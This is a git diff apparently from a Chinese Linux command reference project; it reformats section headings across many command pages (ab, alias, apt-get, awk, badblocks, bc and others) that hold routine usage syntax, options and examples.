command/dpkg-split.md | 8 +++--- command/dpkg-statoverride.md | 6 ++-- command/dpkg-trigger.md | 6 ++-- command/dpkg.md | 8 +++--- command/dris.md | 4 +-- command/dstat.md | 10 +++---- command/dump.md | 8 +++--- command/e2fsck.md | 8 +++--- command/e2label.md | 6 ++-- command/echo.md | 8 +++--- command/ed.md | 6 ++-- command/edquota.md | 8 +++--- command/egrep.md | 4 +-- command/eject.md | 6 ++-- command/elinks.md | 6 ++-- command/elm.md | 4 +-- command/emacs.md | 6 ++-- command/enable.md | 8 +++--- command/env.md | 8 +++--- command/ethtool.md | 8 +++--- command/ex.md | 4 +-- command/exec.md | 8 +++--- command/exit.md | 6 ++-- command/expand.md | 6 ++-- command/export.md | 8 +++--- command/expr.md | 8 +++--- command/fc.md | 8 +++--- command/fdisk.md | 8 +++--- command/fg.md | 6 ++-- command/fgrep.md | 6 ++-- command/file.md | 8 +++--- command/findfs.md | 6 ++-- command/finger.md | 8 +++--- command/firewall-cmd.md | 2 +- command/fmt.md | 6 ++-- command/fold.md | 6 ++-- command/free.md | 6 ++-- command/fsck.md | 8 +++--- command/ftp.md | 8 +++--- command/ftptop.md | 4 +-- command/ftpwho.md | 4 +-- command/fuser.md | 8 +++--- command/gcc.md | 8 +++--- command/gcov.md | 6 ++-- command/get_module.md | 4 +-- command/getenforce.md | 2 +- command/getsebool.md | 6 ++-- command/git.md | 4 +-- command/gpasswd.md | 8 +++--- command/gpm.md | 4 +-- command/grep.md | 4 +-- command/groupadd.md | 8 +++--- command/groupdel.md | 6 ++-- command/groupmod.md | 6 ++-- command/groups.md | 8 +++--- command/grpck.md | 6 ++-- command/grpconv.md | 4 +-- command/grpunconv.md | 4 +-- command/grub.md | 6 ++-- command/gunzip.md | 8 +++--- command/gzexe.md | 6 ++-- command/halt.md | 6 ++-- command/hdparm.md | 8 +++--- command/head.md | 6 ++-- command/help.md | 8 +++--- command/hexdump.md | 6 ++-- command/host.md | 8 +++--- command/hostid.md | 6 ++-- command/hping3.md | 18 ++++++------ command/htdigest.md | 6 ++-- command/htop.md | 4 +-- command/htpasswd.md | 10 +++---- command/hwclock.md | 6 ++-- command/iconv.md | 6 ++-- command/id.md | 6 ++-- command/ifcfg.md | 4 +-- command/ifconfig.md | 6 ++-- command/ifdown.md | 6 ++-- command/ifstat.md | 8 +++--- command/iftop.md | 6 ++-- command/ifup.md | 6 ++-- command/indent.md | 6 ++-- command/info.md | 8 +++--- command/init.md | 8 +++--- command/inotifywait.md | 10 +++---- command/insmod.md | 8 +++--- command/install.md | 6 ++-- command/iostat.md | 8 +++--- command/iotop.md | 8 +++--- command/ip.md | 8 +++--- command/ip6tables-restore.md | 4 +-- command/ip6tables-save.md | 4 +-- command/ip6tables.md | 6 ++-- command/ipcalc.md | 6 ++-- command/ipcrm.md | 6 ++-- command/ipcs.md | 6 ++-- command/iperf.md | 6 ++-- command/iptables-restore.md | 6 ++-- command/iptables-save.md | 6 ++-- command/iptraf.md | 4 +-- command/iptstate.md | 4 +-- command/ispell.md | 4 +-- command/jed.md | 8 +++--- command/jobs.md | 8 +++--- command/joe.md | 6 ++-- command/join.md | 6 ++-- command/jwhois.md | 6 ++-- command/kernelversion.md | 2 +- command/kexec.md | 4 +-- command/killall.md | 8 +++--- command/last.md | 8 +++--- command/lastb.md | 8 +++--- command/lastlog.md | 6 ++-- command/ld.md | 6 ++-- command/ldconfig.md | 4 +-- command/ldd.md | 8 +++--- command/less.md | 6 ++-- command/let.md | 6 ++-- command/lftp.md | 8 +++--- command/lftpget.md | 6 ++-- command/lha.md | 4 +-- command/lilo.md | 6 ++-- command/ln.md | 12 ++++---- command/lnstat.md | 4 +-- command/logger.md | 4 +-- command/login.md | 6 ++-- command/logname.md | 4 +-- command/logout.md | 2 +- command/logrotate.md | 6 ++-- command/logsave.md | 6 ++-- command/logwatch.md | 6 ++-- command/look.md | 6 ++-- command/losetup.md | 10 +++---- command/lp.md | 8 +++--- command/lpadmin.md | 6 ++-- command/lpc.md | 4 +-- command/lpq.md | 4 +-- command/lpr.md | 8 +++--- command/lprm.md | 8 +++--- command/lpstat.md | 4 +-- command/ls.md | 8 +++--- command/lsattr.md | 8 +++--- command/lsblk.md | 4 +-- command/lscpu.md | 6 ++-- command/lsmod.md | 4 +-- command/lspci.md | 6 ++-- command/lsusb.md | 6 ++-- command/ltrace.md | 6 ++-- command/lvcreate.md | 8 +++--- command/lvdisplay.md | 6 ++-- command/lvextend.md | 8 +++--- command/lvreduce.md | 8 +++--- command/lvremove.md | 8 +++--- command/lvresize.md | 8 +++--- command/lvscan.md | 6 ++-- command/lynx.md | 6 ++-- command/mail.md | 8 +++--- command/mailq.md | 6 ++-- command/mailstat.md | 6 ++-- command/make.md | 8 +++--- command/man.md | 8 +++--- command/md5sum.md | 6 ++-- command/mesg.md | 6 ++-- command/mii-tool.md | 6 ++-- command/mkbootdisk.md | 8 +++--- command/mkdir.md | 8 +++--- command/mke2fs.md | 8 +++--- command/mkfs.md | 8 +++--- command/mkinitrd.md | 8 +++--- command/mkisofs.md | 8 +++--- command/mknod.md | 10 +++---- command/mkswap.md | 8 +++--- command/mktemp.md | 6 ++-- command/modprobe.md | 8 +++--- command/more.md | 8 +++--- command/mount.md | 6 ++-- command/mpstat.md | 8 +++--- command/mtools.md | 6 ++-- command/mv.md | 8 +++--- command/mysql.md | 6 ++-- command/mysqladmin.md | 6 ++-- command/mysqldump.md | 6 ++-- command/mysqlimport.md | 6 ++-- command/mysqlshow.md | 6 ++-- command/named-checkzone.md | 4 +-- command/nano.md | 6 ++-- command/nc.md | 4 +-- command/ncftp.md | 10 +++---- command/nethogs.md | 8 +++--- command/netstat.md | 6 ++-- command/newusers.md | 6 ++-- command/nfsstat.md | 6 ++-- command/ngrep.md | 8 +++--- command/nice.md | 8 +++--- command/nisdomainname.md | 4 +-- command/nl.md | 6 ++-- command/nm.md | 6 ++-- command/nmap.md | 8 +++--- command/nmcli.md | 6 ++-- command/nohup.md | 8 +++--- command/nologin.md | 4 +-- command/nslookup.md | 8 +++--- command/ntpdate.md | 4 +-- command/ntsysv.md | 6 ++-- command/objdump.md | 4 +-- command/od.md | 8 +++--- command/parted.md | 8 +++--- command/partprobe.md | 8 +++--- command/passwd.md | 10 +++---- command/paste.md | 6 ++-- command/patch.md | 6 ++-- command/pathchk.md | 6 ++-- command/perl.md | 6 ++-- command/pfctl.md | 6 ++-- command/pgrep.md | 8 +++--- command/php.md | 6 ++-- command/pico.md | 6 ++-- command/pidof.md | 8 +++--- command/ping.md | 8 +++--- command/pkill.md | 8 +++--- command/pmap.md | 8 +++--- command/popd.md | 6 ++-- command/poweroff.md | 4 +-- command/ppp-off.md | 2 +- command/pr.md | 6 ++-- command/printf.md | 6 ++-- command/protoize.md | 6 ++-- command/pssh.md | 6 ++-- command/pstack.md | 2 +- command/pstree.md | 6 ++-- command/pushd.md | 8 +++--- command/pv.md | 6 ++-- command/pvchange.md | 8 +++--- command/pvck.md | 8 +++--- command/pvcreate.md | 8 +++--- command/pvdisplay.md | 8 +++--- command/pvremove.md | 8 +++--- command/pvs.md | 8 +++--- command/pvscan.md | 6 ++-- command/pwck.md | 8 +++--- command/pwconv.md | 4 +-- command/pwd.md | 6 ++-- command/pwunconv.md | 4 +-- command/quota.md | 8 +++--- command/quotacheck.md | 8 +++--- command/quotaoff.md | 6 ++-- command/quotaon.md | 6 ++-- command/rcconf.md | 4 +-- command/rcp.md | 8 +++--- command/read.md | 8 +++--- command/readelf.md | 6 ++-- command/readonly.md | 8 +++--- command/reboot.md | 6 ++-- command/reject.md | 6 ++-- command/rename.md | 6 ++-- command/renice.md | 8 +++--- command/repquota.md | 8 +++--- command/resize.md | 4 +-- command/restore.md | 6 ++-- command/restorecon.md | 6 ++-- command/rev.md | 6 ++-- command/rexec.md | 8 +++--- command/rlogin.md | 6 ++-- command/rmdir.md | 8 +++--- command/rmmod.md | 8 +++--- command/route.md | 8 +++--- command/rpm2cpio.md | 6 ++-- command/rpmbuild.md | 6 ++-- command/rpmdb.md | 4 +-- command/rpmquery.md | 6 ++-- command/rpmsign.md | 4 +-- command/rpmverify.md | 4 +-- command/rsh.md | 6 ++-- command/runlevel.md | 4 +-- command/sar.md | 8 +++--- command/scp.md | 8 +++--- command/screen.md | 10 +++---- command/sed.md | 54 ++++++++++++++++++------------------ command/seinfo.md | 6 ++-- command/semanage.md | 6 ++-- command/sendmail.md | 4 +-- command/seq.md | 6 ++-- command/service.md | 8 +++--- command/sesearch.md | 6 ++-- command/set.md | 8 +++--- command/setfacl.md | 2 +- command/setpci.md | 8 +++--- command/setsebool.md | 6 ++-- command/setsid.md | 4 +-- command/sftp-server.md | 2 +- command/sftp.md | 6 ++-- command/sh.md | 6 ++-- command/shopt.md | 8 +++--- command/showmount.md | 6 ++-- command/shutdown.md | 8 +++--- command/skill.md | 6 ++-- command/slabtop.md | 8 +++--- command/sleep.md | 6 ++-- command/slocate.md | 4 +-- command/smbclient.md | 8 +++--- command/smbpasswd.md | 6 ++-- command/sort.md | 8 +++--- command/source.md | 2 +- command/speedtest-cli.md | 6 ++-- command/spell.md | 4 +-- command/split.md | 4 +-- command/squid.md | 4 +-- command/squidclient.md | 6 ++-- command/ssh-add.md | 6 ++-- command/ssh-agent.md | 6 ++-- command/ssh-copy-id.md | 6 ++-- command/ssh-keygen.md | 4 +-- command/ssh-keyscan.md | 6 ++-- command/sshd.md | 4 +-- command/startx.md | 6 ++-- command/stat.md | 8 +++--- command/strace.md | 10 +++---- command/strings.md | 6 ++-- command/stty.md | 8 +++--- command/su.md | 8 +++--- command/sudo.md | 8 +++--- command/sum.md | 8 +++--- command/swapoff.md | 8 +++--- command/swapon.md | 8 +++--- command/sync.md | 6 ++-- command/sysctl.md | 10 +++---- command/syslog.md | 2 +- command/systool.md | 8 +++--- command/tac.md | 6 ++-- command/tailf.md | 6 ++-- command/talk.md | 6 ++-- command/tcpdump.md | 6 ++-- command/tcpreplay.md | 4 +-- command/tee.md | 6 ++-- command/telint.md | 6 ++-- command/tempfile.md | 4 +-- command/test.md | 6 ++-- command/tftp.md | 8 +++--- command/time.md | 6 ++-- command/tload.md | 8 +++--- command/top.md | 8 +++--- command/touch.md | 8 +++--- command/tput.md | 4 +-- command/tr.md | 8 +++--- command/tracepath.md | 6 ++-- command/traceroute.md | 8 +++--- command/trap.md | 8 +++--- command/tty.md | 4 +-- command/type.md | 8 +++--- command/umask.md | 8 +++--- command/umount.md | 8 +++--- command/unalias.md | 8 +++--- command/unarj.md | 6 ++-- command/uncompress.md | 8 +++--- command/unexpand.md | 6 ++-- command/uniq.md | 8 +++--- command/unlink.md | 6 ++-- command/unprotoize.md | 6 ++-- command/unset.md | 8 +++--- command/updatedb.md | 6 ++-- command/uptime.md | 6 ++-- command/useradd.md | 8 +++--- command/userdel.md | 8 +++--- command/usernetctl.md | 4 +-- command/users.md | 6 ++-- command/uucico.md | 4 +-- command/uupick.md | 4 +-- command/uuto.md | 2 +- command/vdfuse.md | 8 +++--- command/vgchange.md | 8 +++--- command/vgconvert.md | 8 +++--- command/vgcreate.md | 8 +++--- command/vgdisplay.md | 8 +++--- command/vgextend.md | 8 +++--- command/vgreduce.md | 8 +++--- command/vgremove.md | 8 +++--- command/vgrename.md | 4 +-- command/vgscan.md | 6 ++-- command/vi.md | 6 ++-- command/vmstat.md | 8 +++--- command/volname.md | 4 +-- command/w.md | 8 +++--- command/wait.md | 6 ++-- command/wall.md | 6 ++-- command/wc.md | 6 ++-- command/wget.md | 8 +++--- command/whatis.md | 4 +-- command/whereis.md | 8 +++--- command/which.md | 8 +++--- command/who.md | 8 +++--- command/whoami.md | 6 ++-- command/write.md | 6 ++-- command/xauth.md | 6 ++-- command/xhost.md | 4 +-- command/xinit.md | 4 +-- command/xlsatoms.md | 4 +-- command/xlsclients.md | 4 +-- command/xlsfonts.md | 4 +-- command/xset.md | 6 ++-- command/yes.md | 6 ++-- command/ypdomainname.md | 4 +-- command/zcat.md | 6 ++-- command/zfore.md | 4 +-- command/zipinfo.md | 6 ++-- command/zipsplit.md | 6 ++-- command/znew.md | 6 ++-- 508 files changed, 1682 insertions(+), 1682 deletions(-) diff --git a/command/ab.md b/command/ab.md index c3f54e49006..a2dec09982c 100644 --- a/command/ab.md +++ b/command/ab.md @@ -7,7 +7,7 @@ Apache服务器的性能测试工具 **ab命令** 是一个测试你 Apache http 服务器的工具，你可以通过这个工具，指定一个单位时间内向 apache 发出的请求数量来看看你的 Apache 和机器配合的性能如何。 -### 语法 +### 语法 ```shell ab [ -A auth-username:password ] [ -c concurrency ] [ -C cookie-name=value @@ -19,7 +19,7 @@ name:password ] [ -q ] [ -s ] [ -S ] [ -t timelimit ] [ -T content-type ] name[:port]/path ``` -### 选项 +### 选项 ```shell -A auth-username:password @@ -114,7 +114,7 @@ name[:port]/path # 用于生成html表格每列的属性名 () ``` -### 参数 +### 参数 主机：被测试主机。 diff --git a/command/accept.md b/command/accept.md index 4577ffadbc9..cf38cf082f2 100644 --- a/command/accept.md +++ b/command/accept.md @@ -7,13 +7,13 @@ accept **accept命令** 属于CUPS套件，用于指示打印系统接受发往指定目标打印机的打印任务。 -### 语法 +### 语法 ``` accept(选项)(参数) ``` -### 选项 +### 选项 ``` -E：当连接到服务器时强制加密； @@ -21,7 +21,7 @@ accept(选项)(参数) -h：指定连接服务器名和端口号。 ``` -### 参数 +### 参数 目标：指定目标打印机。 diff --git a/command/alias.md b/command/alias.md index 4b0d59be3ff..7a946167918 100644 --- a/command/alias.md +++ b/command/alias.md @@ -9,13 +9,13 @@ alias alias命令的作用只局限于该次登入的操作。若要每次登入都能够使用这些命令别名，则可将相应的alias命令存放到bash的初始化文件`/etc/bashrc`中。 -### 语法 +### 语法 ```shell alias(选项)(参数) ``` -### 选项 +### 选项 ```shell -c string 如果有 -c 选项，那么命令将从 string 中读取。如果 string 后面有参数 (argument)，它们将用于给位置参数 (positional @@ -73,11 +73,11 @@ Bash 也解释一些多字节的选项。在命令行中，这些选项必须置 在标准输出显示此 bash 的版本信息并成功退出。 ``` -### 参数 +### 参数 命令别名设置：定义命令别名，格式为“命令别名=‘实际命令’”。 -### 实例 +### 实例 **alias 的基本使用方法为：** diff --git a/command/apachectl.md b/command/apachectl.md index 64f2ffe8efc..cadf01e7cbc 100644 --- a/command/apachectl.md +++ b/command/apachectl.md @@ -7,13 +7,13 @@ Apache服务器前端控制工具 **apachectl命令** 是Apache的Web服务器前端控制工具，用以启动、关闭和重新启动Web服务器进程。 -### 语法 +### 语法 ``` apachectl(参数) ``` -### 参数 +### 参数 * configtest：检查设置文件中的语法是否正确； * fullstatus：显示服务器完整的状态信息； diff --git a/command/apropos.md b/command/apropos.md index a48625063c1..33f153f1171 100644 --- a/command/apropos.md +++ b/command/apropos.md @@ -9,13 +9,13 @@ apropos 如果你不知道完成某个特定任务所需要命令的名称，可以使用一个关键字通过Linux apropos实用程序来搜索它。该实用程序可以搜索关键字并且显示所有包含匹配项的man页面的简短描述。另外，使用man实用程序和-k（关键字）选项，可以得到和用Linux apropos实用程序相同的结果（实际上是相同的命令）。 -### 语法 +### 语法 ```shell apropos [-dalhvV] -e|-[w|-r] [-s section] [-m system[,...]] [-M path] [-L locale] -C [file] keyword ... ``` -### 选项 +### 选项 ```shell -d, --debug：输出调试信息。 @@ -34,11 +34,11 @@ apropos [-dalhvV] -e|-[w|-r] [-s section] [-m system[,...]] [-M path] [-L locale -V, --version：打印版本信息并退出。 ``` -### 返回值 +### 返回值 返回0表示成功，1表示用法、语法或配置文件错误，2表示操作错误，16表示没有找到匹配的内容。 -### 实例 +### 实例 ```shell [root@localhost ~]# man -k who diff --git a/command/apt-get.md b/command/apt-get.md index 8af46a2e7ac..708157f1d08 100644 --- a/command/apt-get.md +++ b/command/apt-get.md @@ -7,24 +7,24 @@ Debian Linux发行版中的APT软件包管理工具 **apt-get命令** 是Debian Linux发行版中的APT软件包管理工具。所有基于Debian的发行都使用这个包管理系统。deb包可以把一个应用的文件包在一起，大体就如同Windows上的安装文件。 -### 语法 +### 语法 ```shell apt-get(选项)(参数) ``` -### 选项 +### 选项 ```shell -c：指定配置文件。 ``` -### 参数 +### 参数 * 管理指令：对APT软件包的管理操作； * 软件包：指定要操纵的软件包。 -### 实例 +### 实例 使用apt-get命令的第一步就是引入必需的软件库，Debian的软件库也就是所有Debian软件包的集合，它们存在互联网上的一些公共站点上。把它们的地址加入，apt-get就能搜索到我们想要的软件。/etc/apt/sources.list是存放这些地址列表的配置文件，其格式如下： diff --git a/command/apt-key.md b/command/apt-key.md index a5323317de9..f33fa0df4df 100644 --- a/command/apt-key.md +++ b/command/apt-key.md @@ -7,17 +7,17 @@ apt-key **apt-key命令** 用于管理Debian Linux系统中的软件包密钥。每个发布的deb包，都是通过密钥认证的，apt-key用来管理密钥。 -### 语法 +### 语法 ```shell apt-key(参数) ``` -### 参数 +### 参数 操作指令：APT密钥操作指令。 -### 实例 +### 实例 ```shell apt-key list # 列出已保存在系统中key。 diff --git a/command/apt-sortpkgs.md b/command/apt-sortpkgs.md index 2464a82e4be..5a285f4951e 100644 --- a/command/apt-sortpkgs.md +++ b/command/apt-sortpkgs.md @@ -7,20 +7,20 @@ Debian Linux下对软件包索引文件进行排序的工具 **apt-sortpkgs命令** 是Debian Linux下对软件包索引文件进行排序的简单工具。 -### 语法 +### 语法 ```shell apt-sortpkgs(选项)(参数) ``` -### 选项 +### 选项 ```shell -s：使用源索引字段排序； -h：显示帮助信息。 ``` -### 参数 +### 参数 文件：指定要排序的包含debian包信息的索引文件。 diff --git a/command/aptitude.md b/command/aptitude.md index 6e577310d5f..a4e6fced777 100644 --- a/command/aptitude.md +++ b/command/aptitude.md @@ -7,13 +7,13 @@ Debian Linux系统中软件包管理工具 **aptitude命令** 与apt-get命令一样，都是Debian Linux及其衍生系统中功能极其强大的包管理工具。与apt-get不同的是，aptitude在处理依赖问题上更佳一些。举例来说，aptitude在删除一个包时，会同时删除本身所依赖的包。这样，系统中不会残留无用的包，整个系统更为干净。它通过文本操作菜单和命令两种方式管理软件包。 -### 语法 +### 语法 ```shell aptitude(选项)(参数) ``` -### 选项 +### 选项 ```shell -h：显示帮助信息； @@ -24,11 +24,11 @@ aptitude(选项)(参数) -u：启动时下载新的软件包列表。 ``` -### 参数 +### 参数 操作命令：用户管理软件包的操作命令。 -### 实例 +### 实例 以下是我总结的一些常用aptitude命令，仅供参考： diff --git a/command/ar.md b/command/ar.md index eea17b65975..694495edbf1 100644 --- a/command/ar.md +++ b/command/ar.md @@ -7,7 +7,7 @@ ar **ar命令** 是一个建立或修改备存文件，或是从备存文件中抽取文件的工具，ar可让您集合许多文件，成为单一的备存文件。在备存文件中，所有成员文件皆保有原来的属性与权限 -### 语法 +### 语法 ```shell ar [-]{dmpqrtx}[abcfilNoPsSuvV] [membername] [count] archive files... @@ -15,7 +15,7 @@ Usage: ar [emulation options] [-]{dmpqrstx}[abcDfilMNoPsSTuvV] [--plugin ] ar -M [5 && b<=2),(a>5 || b<=2);}' 0 1 ``` -### 正则运算符 +### 正则运算符 | 运算符 | 描述 | | ----- | ---- | @@ -274,7 +274,7 @@ awk 'BEGIN{a="100testa";if(a ~ /^100*/){print "ok";}}' ok ``` -### 关系运算符 +### 关系运算符 | 运算符 | 描述 | | ----- | ---- | @@ -289,7 +289,7 @@ ok 注意：> < 可以作为字符串比较，也可以用作数值比较，关键看操作数如果是字符串就会转换为字符串比较。两个都为数字才转为数值比较。字符串比较：按照ASCII码顺序比较。 -### 其它运算符 +### 其它运算符 | 运算符 | 描述 | | ----- | ---- | @@ -315,14 +315,14 @@ awk 'BEGIN{a="b";arr[0]="b";arr["b"]="c";print (a in arr);}' 1 ``` -### 运算级优先级表 +### 运算级优先级表 !级别越高越优先 级别越高越优先 ## awk高级输入输出 -### 读取下一条记录 +### 读取下一条记录 awk中`next`语句使用：在循环逐行匹配，如果遇到next，就会跳过当前行，直接忽略下面语句。而进行下一行匹配。next语句一般用于多行合并： @@ -366,7 +366,7 @@ web03[192.168.2.102]: mysqld ok web03[192.168.2.102]: httpd ok ``` -### 简单地读取一条记录 +### 简单地读取一条记录 `awk getline`用法：输出重定向需用到`getline函数`。getline从标准输入、管道或者当前正在处理的文件之外的其他输入文件获得输入。它负责从输入获得下一行的内容，并给NF,NR和FNR等内建变量赋值。如果得到一条记录，getline函数返回1，如果到达文件的末尾就返回0，如果出现错误，例如打开文件失败，就返回-1。 @@ -397,7 +397,7 @@ awk 'BEGIN{ "date" | getline out; split(out,mon); print mon[2] }' test awk 'BEGIN{ while( "ls" | getline) print }' ``` -### 关闭文件 +### 关闭文件 awk中允许在程序中关闭一个输入或输出文件，方法是使用awk的close语句。 @@ -407,7 +407,7 @@ close("filename") filename可以是getline打开的文件，也可以是stdin，包含文件名的变量或者getline使用的确切命令。或一个输出文件，可以是stdout，包含文件名的变量或使用管道的确切命令。 -### 输出到一个文件 +### 输出到一个文件 awk中允许用如下方式将结果输出到一个文件： @@ -433,7 +433,7 @@ awk 'BEGIN{ FS=":" } { print $NF }' /etc/passwd 在linux awk的while、do-while和for语句中允许使用break,continue语句来控制流程走向，也允许使用exit这样的语句来退出。break中断当前正在执行的循环并跳到循环外执行下一条语句。if 是流程选择用法。awk中，流程控制语句，语法结构，与c语言类型。有了这些语句，其实很多shell程序都可以交给awk，而且性能是非常快的。下面是各个语句用法。 -### 条件判断语句 +### 条件判断语句 ```shell if(表达式) @@ -474,9 +474,9 @@ very good 每条命令语句后面可以用`;` **分号** 结尾。 -### 循环语句 +### 循环语句 -#### while语句 +### # while语句 ```shell while(表达式) @@ -498,7 +498,7 @@ print total; 5050 ``` -#### for循环 +### # for循环 for循环有两种格式： @@ -550,7 +550,7 @@ print total; 5050 ``` -#### do循环 +### # do循环 ```shell do @@ -569,7 +569,7 @@ do {total+=i;i++;} while(i<=100) 5050 ``` -### 其他语句 +### 其他语句 * **break** 当 break 语句用于 while 或 for 语句时，导致退出程序循环。 * **continue** 当 continue 语句用于 while 或 for 语句时，使程序循环移动到下一个迭代。 @@ -580,7 +580,7 @@ do {total+=i;i++;} while(i<=100) 数组是awk的灵魂，处理文本中最不能少的就是它的数组处理。因为数组索引（下标）可以是数字和字符串在awk中数组叫做关联数组(associative arrays)。awk 中的数组不必提前声明，也不必声明大小。数组元素用0或空字符串来初始化，这根据上下文而定。 -### 数组的定义 +### 数组的定义 数字做数组索引（下标）： @@ -606,7 +606,7 @@ Array["birth"]="1987" { for(i=1;i<=len;i++) {print array[i]}; } #Len是数组的长度 ``` -### 数组相关函数 +### 数组相关函数 **得到数组长度：** @@ -676,7 +676,7 @@ b b1 `delete array[key]`可以删除，对应数组`key`的，序列值。 -### 二维、多维数组使用 +### 二维、多维数组使用 awk的多维数组在本质上是一维数组，更确切一点，awk在存储上并不支持多维数组。awk提供了逻辑上模拟二维数组的访问方式。例如，`array[2,4]=1`这样的访问是允许的。awk使用一个特殊的字符串`SUBSEP(�34)`作为分割字段，在上面的例子中，关联数组array存储的键值实际上是2�344。 @@ -724,7 +724,7 @@ for(m in tarr){ awk内置函数，主要分以下3种类似：算数函数、字符串函数、其它一般函数、时间函数。 -### 算术函数 +### 算术函数 | 格式 | 描述 | | ---- | ---- | @@ -760,7 +760,7 @@ awk 'BEGIN{srand();fr=int(100*rand());print fr;}' 41 ``` -### 字符串函数 +### 字符串函数 | 格式 | 描述 | | ---- | ---- | @@ -846,7 +846,7 @@ awk 'BEGIN{n1=124.113;n2=-1.224;n3=1.2345; printf("%.2f,%.2u,%.2g,%X,%on",n1,n2, 124.11,18446744073709551615,1.2,7C,174 ``` -### 一般函数 +### 一般函数 | 格式 | 描述 | | ---- | ---- | @@ -892,7 +892,7 @@ drwxr-xr-x 95 root root 4096 10-08 14:01 .. b返回值，是执行结果。 -### 时间函数 +### 时间函数 | 格式 | 描述 | | ---- | ---- | diff --git a/command/axel.md b/command/axel.md index b783ff11033..1d809e28c18 100644 --- a/command/axel.md +++ b/command/axel.md @@ -7,7 +7,7 @@ axel **axel** 是Linux下一个不错的HTTP/ftp高速下载工具。支持多线程下载、断点续传，且可以从多个地址或者从一个地址的多个连接来下载同一个文件。适合网速不给力时多线程下载提高下载速度。比如在国内VPS或服务器上下载lnmp一键安装包用Axel就比wget快。 -### 安装 +### 安装 CentOS安装Axel： @@ -33,13 +33,13 @@ Debian/Ubuntu安装Axel： apt-get install axel ``` -### 语法 +### 语法 ```shell axel [options] url1 [url2] [url...] ``` -### 选项 +### 选项 ```shell --max-speed=x , -s x # 最高速度x @@ -56,7 +56,7 @@ axel [options] url1 [url2] [url...] --version ，-V # 版本信息 ``` -### 实例 +### 实例 如下载lnmp安装包指定10个线程，存到 `/tmp/`： diff --git a/command/badblocks.md b/command/badblocks.md index 14df570705e..25319730741 100644 --- a/command/badblocks.md +++ b/command/badblocks.md @@ -7,13 +7,13 @@ badblocks **badblock命令** 用于查找磁盘中损坏的区块。 硬盘是一个损耗设备，当使用一段时间后可能会出现坏道等物理故障。电脑硬盘出现坏道后，如果不及时更换或进行技术处理，坏道就会越来越多，并会造成频繁死机和数据丢失。最好的处理方式是更换磁盘，但在临时的情况下，应及时屏蔽坏道部分的扇区，不要触动它们。badblocks就是一个很好的检查坏道位置的工具。 -### 语法 +### 语法 ```shell badblock(选项)(参数) ``` -### 选项 +### 选项 ```shell -b<区块大小>：指定磁盘的区块大小，单位为字节； @@ -23,13 +23,13 @@ badblock(选项)(参数) -w：在检查时，执行写入测试。 ``` -### 参数 +### 参数 * 磁盘装置：指定要检查的磁盘装置； * 磁盘区块数：指定磁盘装置的区块总数； * 启始区块：指定要从哪个区块开始检查。 -### 实例 +### 实例 badblocks以 4096 的一个block，每一个block检查16次，将结果输出到“hda-badblocks-list”文件里。 @@ -59,7 +59,7 @@ badblocks -b 4096 -c 1 /dev/hda1 -o hda-badblocks-list.1 63000 51000 这次花费的时间比较短，硬盘在指定的情况下在很短的时间就产生“嘎嘎嘎嘎”的响声。由于检查条件的不同，其输出的结果也不完全是相同的。重复几次同样的操作，因条件多少都有些不同，所以结果也有所不同。进行多次操作后，直到产生最后的hda-badblock-list.final文件。 -### 其他 +### 其他 **1、fsck使用badblocks的信息** diff --git a/command/basename.md b/command/basename.md index e7c707e69fd..1813d8c067d 100644 --- a/command/basename.md +++ b/command/basename.md @@ -7,25 +7,25 @@ basename **basename命令** 用于打印目录或者文件的基本名称。basename和dirname命令通常用于shell脚本中的命令替换来指定和指定的输入文件名称有所差异的输出文件名称。 -### 语法 +### 语法 ```shell basename(选项)(参数) ``` -### 选项 +### 选项 ```shell --help：显示帮助； --version：显示版本号。 ``` -### 参数 +### 参数 * 文件：带路径信息的文件； * 后缀：可选参数，指定要去除的文件后缀字符串。 -### 实例 +### 实例 1、要显示一个shell变量的基本名称，请输入： diff --git a/command/batch.md b/command/batch.md index de1abb92e49..4973cb1272a 100644 --- a/command/batch.md +++ b/command/batch.md @@ -7,13 +7,13 @@ batch **batch命令** 用于在指定时间，当系统不繁忙时执行任务，用法与at相似。 -### 语法 +### 语法 ```shell batch(选项)(参数) ``` -### 选项 +### 选项 ```shell -f：指定包含具体指令的任务文件； @@ -21,11 +21,11 @@ batch(选项)(参数) -m：任务执行完后向用户发送E-mail。 ``` -### 参数 +### 参数 日期时间：指定任务执行的日期时间。 -### 实例 +### 实例 ```shell batch diff --git a/command/bc.md b/command/bc.md index 1adbd5cb3de..9bf0f8fb614 100644 --- a/command/bc.md +++ b/command/bc.md @@ -7,13 +7,13 @@ bc **bc命令** 是一种支持任意精度的交互执行的计算器语言。bash内置了对整数四则运算的支持，但是并不支持浮点运算，而bc命令可以很方便的进行浮点运算，当然整数运算也不再话下。 -### 语法 +### 语法 ```shell bc(选项)(参数) ``` -### 选项 +### 选项 ```shell -i：强制进入交互式模式； @@ -24,11 +24,11 @@ bc(选项)(参数) -h：显示指令的帮助信息。 ``` -### 参数 +### 参数 文件：指定包含计算任务的文件。 -### 实例 +### 实例 算术操作高级运算bc命令它可以执行浮点运算和一些高级函数： diff --git a/command/bg.md b/command/bg.md index bb9fee05a6a..9de510dbe2c 100644 --- a/command/bg.md +++ b/command/bg.md @@ -9,17 +9,17 @@ bg 在Linux系统中执行某些操作时候，有时需要将当前任务暂停调至后台，或有时须将后台暂停的任务重启开启并调至前台，这一序列的操作将会使用到 jobs、bg、和 fg 三个命令以及两个快捷键来完成。 -### 语法 +### 语法 ```shell bg(参数) ``` -### 参数 +### 参数 作业标识：指定需要放到后台的作业标识号。 -### 实例 +### 实例 使用bg命令将任务号为1的任务放到后台继续执行，输入如下命令： diff --git a/command/bind.md b/command/bind.md index 16aa0692101..2c35156f878 100644 --- a/command/bind.md +++ b/command/bind.md @@ -7,13 +7,13 @@ bind **bind命令** 用于显示和设置命令行的键盘序列绑定功能。通过这一命令，可以提高命令行中操作效率。您可以利用bind命令了解有哪些按键组合与其功能，也可以自行指定要用哪些按键组合。 -### 语法 +### 语法 ```shell bind(选项) ``` -### 选项 +### 选项 ```shell -d：显示按键配置的内容； @@ -24,7 +24,7 @@ bind(选项) -v：列出目前的按键配置与其功能。 ``` -### 实例 +### 实例 ```shell bind -x '"\C-l":ls -l' #直接按 CTRL+L 就列出目录 diff --git a/command/blkid.md b/command/blkid.md index d64c5c81f87..1b9b1f5428c 100644 --- a/command/blkid.md +++ b/command/blkid.md @@ -7,7 +7,7 @@ blkid 在Linux下可以使用 **blkid命令** 对查询设备上所采用文件系统类型进行查询。blkid主要用来对系统的块设备（包括交换分区）所使用的文件系统类型、LABEL、UUID等信息进行查询。要使用这个命令必须安装e2fsprogs软件包。 -### 语法 +### 语法 ```shell blkid -L | -U @@ -16,7 +16,7 @@ blkid -p [-s ] [-O 